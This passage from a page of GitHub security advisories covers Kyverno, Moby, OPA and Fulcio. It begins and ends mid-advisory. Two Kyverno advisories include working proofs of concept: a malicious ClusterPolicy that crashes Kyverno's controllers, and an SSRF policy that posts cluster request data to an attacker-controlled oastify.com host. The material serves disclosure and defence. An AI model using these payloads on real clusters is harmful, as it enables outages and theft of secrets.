This leads to a nil value being substituted into the policy structure. Subsequent processing by internal functions, specifically getValueAsStringMap, which expect string values, results in a panic due to a type assertion failure (interface {} is nil, not string). This crashes Kyverno worker threads in the admission controller (and can lead to full admission controller unavailability in Enforce mode) and causes continuous crashes of the reports controller pod, leading to service degradation or unavailability."
Details
The vulnerability lies in the getValueAsStringMap function within pkg/engine/wildcards/wildcards.go (specifically around line 138):
func getValueAsStringMap(key string, data interface{}) (string, map[string]string) {
// ...
valMap, ok := val.(map[string]interface{}) // val can be the map containing the nil value
// ...
for k, v := range valMap { // If valMap contains a key whose value is nil...
result[k] = v.(string) // PANIC: v.(string) on a nil interface{}
}
return patternKey, result
}
When a policy contains a variable like {{@ | foo}} (where foo is not a defined JMESPath function), the JMESPath evaluation within Kyverno's variable substitution logic results in a nil value. This nil is then assigned to the corresponding field in the policy pattern (e.g., a label value).
During policy processing, ExpandInMetadata calls expandWildcardsInTag, which in turn calls getValueAsStringMap. If the data argument to getValueAsStringMap (derived from the policy pattern) contains this nil value where a string is expected, the type assertion v.(string) panics when v is nil.
Proof of Concept (PoC)
This proof of concept consists of two phases. First a malicious policy is inserted with the default validation failure action, which is Audit. In this phase the reports controller will end up in a crash loop. The admission controller will print out a similar stack trace, but only a worker crashes. The admission controller process does not crash.
In the second phase the same policy is inserted with the Enforce validation failure action. In this scenario both admission controller and the reports controller end up in a crash loop. As the admission controller crashes on incoming admission requests, it effectively makes it impossible to deploy new resources.
Tested on Kyverno v1.14.1.
-
Prerequisites: Kubernetes cluster with Kyverno installed. Attacker has permissions to create/update
ClusterPolicyorPolicyresources. -
Create a Malicious Policy: Apply the following
ClusterPolicy:yaml apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: dos-via-jmespath-nil spec: rules: - name: trigger-nil-panic match: any: - resources: kinds: - Pod validate: message: "DoS attempt via JMESPath nil substitution" pattern: metadata: labels: # '{{@ | non_existent_function}}' will result in a nil value for this label. # This nil value causes a panic in getValueAsStringMap. trigger_panic: "{{@ | non_existent_function}}" -
Verify the policy status: Make sure the policy is ready.
bash k get clusterpolicy dos-via-jmespath-nil NAME ADMISSION BACKGROUND READY AGE MESSAGE dos-via-jmespath-nil true true True 24m Ready -
Trigger the Policy: Create any Pod in any namespace (if not further restricted by
matchorexclude):bash kubectl run test-pod-dos --image=nginx -
Observe Crashes:
- Check Kyverno admission controller logs for worker panics (
interface conversion: interface {} is nil, not string). - Check Kyverno reports controller logs; the pod crashes and restarts.
- Stack trace available here (as a secret gist): https://gist.github.com/thevilledev/723392bad36020b82209262275434380
- Check Kyverno admission controller logs for worker panics (
-
Reset: Delete the existing policy with
kubectl delete clusterpolicy dos-via-jmespath-niland delete the test pod withkubectl delete pod test-pod-dos. Then apply the following:
yaml
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: dos-via-jmespath-nil-enforce
spec:
validationFailureAction: Enforce # This has changed
rules:
- name: trigger-nil-panic
match:
any:
- resources:
kinds:
- Pod
validate:
message: "DoS attempt via JMESPath nil substitution"
pattern:
metadata:
labels:
# '{{@ | non_existent_function}}' will result in a nil value for this label.
# This nil value causes a panic in getValueAsStringMap.
trigger_panic: "{{@ | non_existent_function}}"
-
Trigger the Policy (again): Create any Pod in any namespace (if not further restricted by
matchorexclude):bash kubectl run test-pod-dos --image=nginxThe command returns the following error:
bash Error from server (InternalError): Internal error occurred: failed calling webhook "validate.kyverno.svc-fail": failed to call webhook: Post "https://kyverno-svc.kyverno.svc:443/validate/fail?timeout=10s": EOF -
Observe Crashes:
- Check Kyverno admission controller logs for container panic. Notice that the whole controller has crashed, not just a worker.
- Check Kyverno reports controller logs; the pod crashes and restarts.
Impact
This is a Denial of Service (DoS) vulnerability.
-
Affected Components:
- Kyverno Admission Controller: In Audit mode, individual worker threads handling admission requests will panic and terminate. While the main pod uses a worker pool and can recover by spawning new workers, repeated exploitation can degrade performance or lead to worker pool exhaustion. In Enforce mode, the whole controller panics. This makes all related admission requests fail.
- Kyverno Reports Controller: The entire controller pod will panic and crash, requiring a restart by Kubernetes. This halts background policy scanning and report generation.
-
Conditions: An attacker needs permissions to create or update Kyverno
PolicyorClusterPolicyresources. This is often a privileged operation but may be delegated in some environments. - Consequences: Degraded policy enforcement, inability to create/update resources, and loss of policy reporting visibility.
Mitigation
- Add robust
nilhandling ingetValueAsStringMap. - Look into adding graceful error handling in JMESPath substitution. Prevent evaluation errors (like undefined functions) from resulting in
nilvalues.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.14.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/kyverno/kyverno"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.14.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-47281"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-22T14:24:19Z",
"nvd_published_at": "2025-07-23T21:15:26Z",
"severity": "HIGH"
},
"details": "### Summary\nA Denial of Service (DoS) vulnerability exists in Kyverno due to improper handling of JMESPath variable substitutions. Attackers with permissions to create or update Kyverno policies can craft expressions using the `{{@}}` variable combined with a pipe and an invalid JMESPath function (e.g., `{{@ | non_existent_function }}`).\n\nThis leads to a `nil` value being substituted into the policy structure. Subsequent processing by internal functions, specifically `getValueAsStringMap`, which expect string values, results in a panic due to a type assertion failure (`interface {} is nil, not string`). This crashes Kyverno worker threads in the admission controller (and can lead to full admission controller unavailability in Enforce mode) and causes continuous crashes of the reports controller pod, leading to service degradation or unavailability.\"\n\n### Details\nThe vulnerability lies in the `getValueAsStringMap` function within `pkg/engine/wildcards/wildcards.go` (specifically around line 138):\n\n```go\nfunc getValueAsStringMap(key string, data interface{}) (string, map[string]string) {\n // ...\n valMap, ok := val.(map[string]interface{}) // val can be the map containing the nil value\n // ...\n for k, v := range valMap { // If valMap contains a key whose value is nil...\n result[k] = v.(string) // PANIC: v.(string) on a nil interface{}\n }\n return patternKey, result\n}\n```\n\nWhen a policy contains a variable like `{{@ | foo}}` (where `foo` is not a defined JMESPath function), the JMESPath evaluation within Kyverno\u0027s variable substitution logic results in a `nil` value. This `nil` is then assigned to the corresponding field in the policy pattern (e.g., a label value).\n\nDuring policy processing, `ExpandInMetadata` calls `expandWildcardsInTag`, which in turn calls `getValueAsStringMap`. If the `data` argument to `getValueAsStringMap` (derived from the policy pattern) contains this `nil` value where a string is expected, the type assertion `v.(string)` panics when `v` is `nil`.\n\n### Proof of Concept (PoC)\n\nThis proof of concept consists of two phases. First a malicious policy is inserted with the default validation failure action, which is `Audit`. In this phase the reports controller will end up in a crash loop. The admission controller will print out a similar stack trace, but only a worker crashes. The admission controller process does not crash.\n\nIn the second phase the same policy is inserted with the `Enforce` validation failure action. In this scenario both admission controller and the reports controller end up in a crash loop. As the admission controller crashes on incoming admission requests, it effectively makes it impossible to deploy new resources.\n\nTested on Kyverno v1.14.1.\n\n1. **Prerequisites**:\n Kubernetes cluster with Kyverno installed. Attacker has permissions to create/update `ClusterPolicy` or `Policy` resources.\n\n2. **Create a Malicious Policy**:\n Apply the following `ClusterPolicy`:\n\n ```yaml\n apiVersion: kyverno.io/v1\n kind: ClusterPolicy\n metadata:\n name: dos-via-jmespath-nil\n spec:\n rules:\n - name: trigger-nil-panic\n match:\n any:\n - resources:\n kinds:\n - Pod\n validate:\n message: \"DoS attempt via JMESPath nil substitution\"\n pattern:\n metadata:\n labels:\n # \u0027{{@ | non_existent_function}}\u0027 will result in a nil value for this label.\n # This nil value causes a panic in getValueAsStringMap.\n trigger_panic: \"{{@ | non_existent_function}}\"\n ```\n\n3. **Verify the policy status**:\n Make sure the policy is ready.\n\n ```bash\n k get clusterpolicy dos-via-jmespath-nil\n NAME ADMISSION BACKGROUND READY AGE MESSAGE\n dos-via-jmespath-nil true true True 24m Ready\n ```\n\n3. **Trigger the Policy**:\n Create any Pod in any namespace (if not further restricted by `match` or `exclude`):\n\n ```bash\n kubectl run test-pod-dos --image=nginx\n ```\n\n4. **Observe Crashes**:\n * Check Kyverno admission controller logs for worker panics (`interface conversion: interface {} is nil, not string`).\n * Check Kyverno reports controller logs; the pod crashes and restarts.\n * Stack trace available here (as a secret gist): https://gist.github.com/thevilledev/723392bad36020b82209262275434380\n\n5. **Reset**:\n Delete the existing policy with `kubectl delete clusterpolicy dos-via-jmespath-nil` and delete\n the test pod with `kubectl delete pod test-pod-dos`. Then apply the following:\n\n ```yaml\n apiVersion: kyverno.io/v1\n kind: ClusterPolicy\n metadata:\n name: dos-via-jmespath-nil-enforce\n spec:\n validationFailureAction: Enforce # This has changed\n rules:\n - name: trigger-nil-panic\n match:\n any:\n - resources:\n kinds:\n - Pod\n validate:\n message: \"DoS attempt via JMESPath nil substitution\"\n pattern:\n metadata:\n labels:\n # \u0027{{@ | non_existent_function}}\u0027 will result in a nil value for this label.\n # This nil value causes a panic in getValueAsStringMap.\n trigger_panic: \"{{@ | non_existent_function}}\"\n ```\n\n6. **Trigger the Policy (again)**:\n Create any Pod in any namespace (if not further restricted by `match` or `exclude`):\n\n ```bash\n kubectl run test-pod-dos --image=nginx\n ```\n\n The command returns the following error:\n\n ```bash\n Error from server (InternalError): Internal error occurred: failed calling webhook \"validate.kyverno.svc-fail\": failed to call webhook: Post \"https://kyverno-svc.kyverno.svc:443/validate/fail?timeout=10s\": EOF\n ```\n\n7. **Observe Crashes**:\n * Check Kyverno admission controller logs for container panic. Notice that the whole controller has crashed, not just a worker.\n * Check Kyverno reports controller logs; the pod crashes and restarts.\n\n### Impact\n\nThis is a Denial of Service (DoS) vulnerability.\n\n* **Affected Components**:\n * **Kyverno Admission Controller**: In Audit mode, individual worker threads handling admission requests will panic and terminate. While the main pod uses a worker pool and can recover by spawning new workers, repeated exploitation can degrade performance or lead to worker pool exhaustion. In Enforce mode, the whole controller panics. This makes all related admission requests fail.\n * **Kyverno Reports Controller**: The entire controller pod will panic and crash, requiring a restart by Kubernetes. This halts background policy scanning and report generation.\n\n* **Conditions**: An attacker needs permissions to create or update Kyverno `Policy` or `ClusterPolicy` resources. This is often a privileged operation but may be delegated in some environments.\n* **Consequences**: Degraded policy enforcement, inability to create/update resources, and loss of policy reporting visibility. \n\n### Mitigation\n\n- Add robust `nil` handling in `getValueAsStringMap`.\n- Look into adding graceful error handling in JMESPath substitution. Prevent evaluation errors (like undefined functions) from resulting in `nil` values.",
"id": "GHSA-r5p3-955p-5ggq",
"modified": "2025-07-23T22:15:03Z",
"published": "2025-07-22T14:24:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-r5p3-955p-5ggq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47281"
},
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/commit/cbd7d4ca24de1c55396fc3295e9fc3215832be7c"
},
{
"type": "PACKAGE",
"url": "https://github.com/kyverno/kyverno"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Kyverno\u0027s Improper JMESPath Variable Evaluation Lead to Denial of Service"
}
GHSA-4VQ8-7JFC-9CVP
Vulnerability from github – Published: 2025-07-29 19:56 – Updated: 2025-12-20 03:14Moby is an open source container framework developed by Docker Inc. that is distributed as Docker Engine, Mirantis Container Runtime, and various other downstream projects/products. The Moby daemon component (dockerd), which is developed as moby/moby is commonly referred to as Docker, or Docker Engine.
Firewalld is a daemon used by some Linux distributions to provide a dynamically managed firewall. When Firewalld is running, Docker uses its iptables backend to create rules, including rules to isolate containers in one bridge network from containers in other bridge networks.
Impact
The iptables rules created by Docker are removed when firewalld is reloaded using, for example "firewall-cmd --reload", "killall -HUP firewalld", or "systemctl reload firewalld".
When that happens, Docker must re-create the rules. However, in affected versions of Docker, the iptables rules that isolate containers in different bridge networks from each other are not re-created.
Once these rules have been removed, containers have access to any port, on any container, in any non-internal bridge network, running on the Docker host.
Containers running in networks created with --internal or equivalent have no access to other networks. Containers that are only connected to these networks remain isolated after a firewalld reload.
Where Docker Engine is not running in the host's network namespace, it is unaffected. Including, for example, Rootless Mode, and Docker Desktop.
Patches
Moby releases 28.0.0 and newer are not affected. A fix is available in moby release 25.0.13.
Workarounds
After reloading firewalld, either: - Restart the docker daemon, - Re-create bridge networks, or - Use rootless mode.
References
https://firewalld.org/ https://firewalld.org/documentation/howto/reload-firewalld.html
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/docker/docker"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "25.0.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/docker/docker"
},
"ranges": [
{
"events": [
{
"introduced": "26.0.0-rc1"
},
{
"fixed": "28.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-54410"
],
"database_specific": {
"cwe_ids": [
"CWE-909"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-29T19:56:25Z",
"nvd_published_at": "2025-07-30T14:15:28Z",
"severity": "LOW"
},
"details": "Moby is an open source container framework developed by Docker Inc. that is distributed as Docker Engine, Mirantis Container Runtime, and various other downstream projects/products. The Moby daemon component (dockerd), which is developed as [moby/moby](https://github.com/moby/moby) is commonly referred to as Docker, or Docker Engine.\n\nFirewalld is a daemon used by some Linux distributions to provide a dynamically managed firewall. When Firewalld is running, Docker uses its iptables backend to create rules, including rules to isolate containers in one bridge network from containers in other bridge networks.\n\n### Impact\n\nThe iptables rules created by Docker are removed when firewalld is reloaded using, for example \"firewall-cmd --reload\", \"killall -HUP firewalld\", or \"systemctl reload firewalld\".\n\nWhen that happens, Docker must re-create the rules. However, in affected versions of Docker, the iptables rules that isolate containers in different bridge networks from each other are not re-created.\n\nOnce these rules have been removed, containers have access to any port, on any container, in any non-internal bridge network, running on the Docker host.\n\nContainers running in networks created with `--internal` or equivalent have no access to other networks. Containers that are only connected to these networks remain isolated after a firewalld reload.\n\nWhere Docker Engine is not running in the host\u0027s network namespace, it is unaffected. Including, for example, Rootless Mode, and Docker Desktop.\n\n### Patches\n\nMoby releases 28.0.0 and newer are not affected. A fix is available in moby release 25.0.13.\n\n### Workarounds\nAfter reloading firewalld, either:\n- Restart the docker daemon,\n- Re-create bridge networks, or\n- Use rootless mode.\n\n### References\nhttps://firewalld.org/\nhttps://firewalld.org/documentation/howto/reload-firewalld.html",
"id": "GHSA-4vq8-7jfc-9cvp",
"modified": "2025-12-20T03:14:48Z",
"published": "2025-07-29T19:56:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/moby/moby/security/advisories/GHSA-4vq8-7jfc-9cvp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54410"
},
{
"type": "WEB",
"url": "https://github.com/moby/moby/pull/49443"
},
{
"type": "WEB",
"url": "https://github.com/moby/moby/pull/49728"
},
{
"type": "WEB",
"url": "https://firewalld.org/documentation/howto/reload-firewalld.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/moby/moby"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Moby firewalld reload removes bridge network isolation"
}
GHSA-6M8W-JC87-6CR7
Vulnerability from github – Published: 2025-05-01 17:02 – Updated: 2025-05-05 22:02Impact
When run as a server, OPA exposes an HTTP Data API for reading and writing documents. Requesting a virtual document through the Data API entails policy evaluation, where a Rego query containing a single data document reference is constructed from the requested path. This query is then used for policy evaluation.
A HTTP request path can be crafted in a way that injects Rego code into the constructed query. The evaluation result cannot be made to return any other data than what is generated by the requested path, but this path can be misdirected, and the injected Rego code can be crafted to make the query succeed or fail; opening up for oracle attacks or, given the right circumstances, erroneous policy decision results. Furthermore, the injected code can be crafted to be computationally expensive, resulting in a Denial Of Service (DoS) attack.
Users are only impacted if all of the following apply:
- OPA is deployed as a standalone server (rather than being used as a Go library)
- The OPA server is exposed outside of the local host in an untrusted environment.
- The configured authorization policy does not do exact matching of the
input.pathattribute when deciding if the request should be allowed.
or, if all of the following apply:
- OPA is deployed as a standalone server.
- The service connecting to OPA allows 3rd parties to insert unsanitised text into the path of the HTTP request to OPA’s Data API.
Note: With no Authorization Policy configured for restricting API access (the default configuration), the RESTful Data API provides access for managing Rego policies; and the RESTful Query API facilitates advanced queries. Full access to these APIs provides both simpler, and broader access than what the security issue describes here can facilitate. As such, OPA servers exposed to a network are not considered affected by the attack described here if they are knowingly not restricting access through an Authorization Policy.
Patches
Fixed in OPA v1.4.0.
Workarounds
Don’t publicly expose OPA’s RESTful APIs
Unless necessary for production reasons, network access to OPA’s RESTful APIs should be limited to localhost and/or trusted networks.
Since OPA v1.0, unless otherwise configured, the server listener defaults to localhost.
Enable Authentication to Only Allow Access to Trusted Clients
A configured authentication scheme is a requirement when OPA is exposed in an untrusted environment. While requiring authentication alone doesn’t mitigate this attack, it effectively reduces the scope from untrusted clients to trusted clients.
Perform Path Validation Using OPA’s Authorization Policy Functionality
OPA can be configured to use an Authorization Policy to validate all incoming requests. By authoring the Authorization Policy to only accept paths corresponding to expected Rego package references, this attack can be fully mitigated.
The HTTP path in a Data API request is of the format /v1/data/{path:.+} (/v0/data/{path:.+}, for the v0 Data API), where data/{path:.+} directly corresponds to a reference to a virtual document, and a prefix of {path:.+} corresponds to a Rego package declaration.
E.g. the HTTP path v1/data/do/re/mi corresponds to the data reference data.do.re.mi, where do.re is the package and mi is the rule in the following Rego module:
package do.re
mi if {
...
}
Unless otherwise configured, OPA will use the rule at data.system.authz.allow as Authorization Policy. Authorization is enabled by starting OPA with the --authorization=basic flag, and the Authorization policy must be made available to the OPA runtime either through a bundle (via the --bundle flag or through discovery) or as an individual module via the command-line.
A trivial Authorization Policy example:
package system.authz
allowed_paths := [
["v1", "data", "policy1", "allow"],
["v1", "data", "policy2", "allow"],
...
]
allow if {
input.path in allowed_paths
}
Note: configuring an Authorization Policy in OPA isn't the only way to protect against malicious request paths. Path validation and sanitisation can also be performed by connecting clients and 3rd party intermediaries, such as API gateways, reverse proxies, etc.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/open-policy-agent/opa/v1/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/open-policy-agent/opa/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/open-policy-agent/opa"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-46569"
],
"database_specific": {
"cwe_ids": [
"CWE-770",
"CWE-78",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2025-05-01T17:02:58Z",
"nvd_published_at": "2025-05-01T20:15:37Z",
"severity": "HIGH"
},
"details": "### Impact\n\nWhen run as a server, OPA exposes an HTTP[ Data API](https://www.openpolicyagent.org/docs/latest/rest-api/#data-api) for reading and writing documents. Requesting a virtual document through the Data API entails policy evaluation, where a Rego query containing a single data document [reference](https://www.openpolicyagent.org/docs/latest/policy-language/#references) is constructed from the requested path. This query is then used for policy evaluation.\n\nA HTTP request path can be crafted in a way that injects Rego code into the constructed query. The evaluation result cannot be made to return any other data than what is generated by the requested path, but this path can be misdirected, and the injected Rego code can be crafted to make the query succeed or fail; opening up for oracle attacks or, given the right circumstances, erroneous policy decision results. Furthermore, the injected code can be crafted to be computationally expensive, resulting in a Denial Of Service (DoS) attack.\n\n**Users are only impacted if all of the following apply:**\n\n* OPA is deployed as a standalone server (rather than being used as a Go library)\n* The OPA server is exposed outside of the local host in an untrusted environment.\n* The configured [authorization policy](https://www.openpolicyagent.org/docs/latest/security/#authentication-and-authorization) does not do exact matching of the `input.path` attribute when deciding if the request should be allowed.\n\n**or, if all of the following apply:**\n\n* OPA is deployed as a standalone server.\n* The service connecting to OPA allows 3rd parties to insert unsanitised text into the path of the HTTP request to OPA\u2019s Data API.\n\n**Note:** With **no** Authorization Policy configured for restricting API access (the default configuration), the RESTful Data API provides access for managing Rego policies; and the RESTful Query API facilitates advanced queries. Full access to these APIs provides both simpler, and broader access than what the security issue describes here can facilitate. As such, OPA servers exposed to a network are **not** considered affected by the attack described here if they are knowingly not restricting access through an Authorization Policy.\n\n### Patches\n\nFixed in OPA v1.4.0.\n\n### Workarounds\n\n#### Don\u2019t publicly expose OPA\u2019s RESTful APIs ####\n\nUnless necessary for production reasons, network access to OPA\u2019s RESTful APIs should be limited to `localhost` and/or trusted networks. \nSince OPA v1.0, unless otherwise configured, the server listener defaults to `localhost`.\n\n#### Enable Authentication to Only Allow Access to Trusted Clients ####\n\nA configured [authentication](https://www.openpolicyagent.org/docs/latest/security/#authentication-and-authorization) scheme is a requirement when OPA is exposed in an untrusted environment. While requiring authentication alone doesn\u2019t mitigate this attack, it effectively reduces the scope from untrusted clients to trusted clients.\n\n#### Perform Path Validation Using OPA\u2019s Authorization Policy Functionality ####\n\nOPA can be configured to use an [Authorization Policy](https://www.openpolicyagent.org/docs/latest/security/#authentication-and-authorization) to validate all incoming requests.\nBy authoring the Authorization Policy to only accept paths corresponding to expected Rego package references, this attack can be fully mitigated.\n\nThe HTTP path in a Data API request is of the format `/v1/data/{path:.+}` (`/v0/data/{path:.+}`, for the v0 Data API), where `data/{path:.+}` directly corresponds to a reference to a virtual document, and a prefix of `{path:.+}` corresponds to a Rego `package` declaration. \nE.g. the HTTP path `v1/data/do/re/mi` corresponds to the data reference `data.do.re.mi`, where `do.re` is the package and `mi` is the rule in the following Rego module:\n\n```rego\npackage do.re\n\nmi if {\n\t...\n}\n```\n\nUnless otherwise [configured](https://www.openpolicyagent.org/docs/latest/configuration/#miscellaneous), OPA will use the rule at `data.system.authz.allow` as Authorization Policy. Authorization is enabled by starting OPA with the `--authorization=basic` flag, and the Authorization policy must be made available to the OPA runtime either through a bundle (via the `--bundle` flag or through [discovery](https://www.openpolicyagent.org/docs/latest/management-discovery/)) or as an individual module via the command-line.\n\nA trivial Authorization Policy example:\n\n```rego\npackage system.authz\n\nallowed_paths := [\n\t[\"v1\", \"data\", \"policy1\", \"allow\"],\n\t[\"v1\", \"data\", \"policy2\", \"allow\"],\n\t...\n]\n\nallow if {\n\tinput.path in allowed_paths\n}\n```\n\n**Note:** configuring an Authorization Policy in OPA isn\u0027t the only way to protect against malicious request paths. Path validation and sanitisation can also be performed by connecting clients and 3rd party intermediaries, such as API gateways, reverse proxies, etc.",
"id": "GHSA-6m8w-jc87-6cr7",
"modified": "2025-05-05T22:02:31Z",
"published": "2025-05-01T17:02:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-policy-agent/opa/security/advisories/GHSA-6m8w-jc87-6cr7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46569"
},
{
"type": "WEB",
"url": "https://github.com/open-policy-agent/opa/commit/ad2063247a14711882f18c387a511fc8094aa79c"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-policy-agent/opa"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2025-3660"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "OPA server Data API HTTP path injection of Rego"
}
GHSA-F83F-XPX7-FFPW
Vulnerability from github – Published: 2025-12-05 18:18 – Updated: 2025-12-05 18:18Function identity.extractIssuerURL currently splits (via a call to strings.Split) its argument (which is untrusted data) on periods.
As a result, in the face of a malicious request with an (invalid) OIDC identity token in the payload containing many period characters, a call to extractIssuerURL incurs allocations to the tune of O(n) bytes (where n stands for the length of the function's argument), with a constant factor of about 16. Relevant weakness: CWE-405: Asymmetric Resource Consumption (Amplification)
Details See identity.extractIssuerURL
Impact Excessive memory allocation
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.8.2"
},
"package": {
"ecosystem": "Go",
"name": "github.com/sigstore/fulcio"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.8.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-66506"
],
"database_specific": {
"cwe_ids": [
"CWE-405"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-05T18:18:26Z",
"nvd_published_at": "2025-12-04T22:15:49Z",
"severity": "HIGH"
},
"details": "Function [identity.extractIssuerURL](https://github.com/sigstore/fulcio/blob/main/pkg/identity/issuerpool.go#L44-L45) currently splits (via a call to [strings.Split](https://pkg.go.dev/strings#Split)) its argument (which is untrusted data) on periods.\n\nAs a result, in the face of a malicious request with an (invalid) OIDC identity token in the payload containing many period characters, a call to `extractIssuerURL` incurs allocations to the tune of O(n) bytes (where n stands for the length of the function\u0027s argument), with a constant factor of about 16. Relevant weakness: [CWE-405: Asymmetric Resource Consumption (Amplification)](https://cwe.mitre.org/data/definitions/405.html)\n\nDetails\nSee [identity.extractIssuerURL](https://github.com/sigstore/fulcio/blob/main/pkg/identity/issuerpool.go#L44-L45)\n\nImpact\nExcessive memory allocation",
"id": "GHSA-f83f-xpx7-ffpw",
"modified": "2025-12-05T18:18:26Z",
"published": "2025-12-05T18:18:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sigstore/fulcio/security/advisories/GHSA-f83f-xpx7-ffpw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66506"
},
{
"type": "WEB",
"url": "https://github.com/sigstore/fulcio/commit/765a0e57608b9ef390e1eeeea8595b9054c63a5a"
},
{
"type": "PACKAGE",
"url": "https://github.com/sigstore/fulcio"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Fulcio allocates excessive memory during token parsing"
}
GHSA-459X-Q9HG-4GPQ
Vulnerability from github – Published: 2025-04-15 21:19 – Updated: 2025-04-23 15:11Summary
An attacker with the ability to create Kyverno policies in a Kubernetes cluster can use Service Call functionality to perform SSRF to a server under their control in order to exfiltrate data.
Details
According to the documentation, Service Call is intended to address services located inside the Kubernetes cluster, but this method can also resolve external addresses, which allows making requests outside the Kubernetes cluster.
https://kyverno.io/docs/writing-policies/external-data-sources/#variables-from-service-calls
PoC
Create a slightly modified Cluster Policy from the documentation. In the url we specify the address of a server controlled by the attacker, for example Burp Collaborator.
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: check-namespaces
spec:
rules:
- name: call-extension
match:
any:
- resources:
kinds:
- ConfigMap
context:
- name: result
apiCall:
method: POST
data:
- key: namespace
value: "{{request.namespace}}"
service:
url: http://bo3gyn4qwyjnrx87fjnrsd4p7gd71xpm.oastify.com/payload
validate:
message: "namespace {{request.namespace}} is not allowed"
deny:
conditions:
all:
- key: "{{ result.allowed }}"
operator: Equals
value: false
Now let's create some configmap:
kubectl create configmap special-config --from-literal=special.how=very --from-literal=special.type=charm
Look at the Burp Collaborator logs:
Impact
An attacker creating such a policy can obtain the contents of all Kubernetes resources created in the cluster, including secrets containing sensitive information.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/kyverno/kyverno"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.13.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-15T21:19:37Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nAn attacker with the ability to create Kyverno policies in a Kubernetes cluster can use Service Call functionality to perform SSRF to a server under their control in order to exfiltrate data.\n\n### Details\nAccording to the documentation, Service Call is intended to address services located inside the Kubernetes cluster, but this method can also resolve external addresses, which allows making requests outside the Kubernetes cluster.\n\nhttps://kyverno.io/docs/writing-policies/external-data-sources/#variables-from-service-calls\n\n### PoC\nCreate a slightly modified Cluster Policy from the documentation. In the url we specify the address of a server controlled by the attacker, for example Burp Collaborator.\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n name: check-namespaces \nspec:\n rules:\n - name: call-extension\n match:\n any:\n - resources:\n kinds:\n - ConfigMap\n context:\n - name: result\n apiCall:\n method: POST\n data:\n - key: namespace\n value: \"{{request.namespace}}\"\n service:\n url: http://bo3gyn4qwyjnrx87fjnrsd4p7gd71xpm.oastify.com/payload \n validate:\n message: \"namespace {{request.namespace}} is not allowed\"\n deny:\n conditions:\n all:\n - key: \"{{ result.allowed }}\"\n operator: Equals\n value: false\n```\nNow let\u0027s create some configmap:\n```bash\nkubectl create configmap special-config --from-literal=special.how=very --from-literal=special.type=charm\n```\nLook at the Burp Collaborator logs:\n\u003cimg width=\"723\" alt=\"\u0421\u043d\u0438\u043c\u043e\u043a \u044d\u043a\u0440\u0430\u043d\u0430 2025-02-21 \u0432 17 31 25\" src=\"https://github.com/user-attachments/assets/9445a71a-6687-430a-8476-3fd546bc2bf2\" /\u003e\n\n\n### Impact\nAn attacker creating such a policy can obtain the contents of all Kubernetes resources created in the cluster, including secrets containing sensitive information.",
